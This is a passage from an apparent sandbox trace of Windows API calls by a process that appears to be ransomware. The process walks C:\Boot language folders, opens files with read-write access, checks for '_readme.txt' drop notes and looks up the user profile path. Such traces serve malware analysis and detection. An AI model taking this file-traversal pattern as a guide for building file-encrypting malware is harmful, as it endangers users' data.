ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.527] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.527] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned=".mui" [0059.527] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.528] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.528] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned=".txt" [0059.528] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.528] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.528] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.528] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.532] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.533] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.534] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.534] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.534] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.534] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.534] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.534] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.534] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.534] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.534] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.534] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.534] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.534] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.534] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.534] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.534] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.534] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.534] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.534] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0059.534] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.534] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.534] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.534] PathFindFileNameW (pszPath="") returned="" [0059.534] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.535] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.535] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.535] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.535] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.535] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.535] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.535] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0059.535] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0059.535] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.535] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.535] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.535] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.535] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, 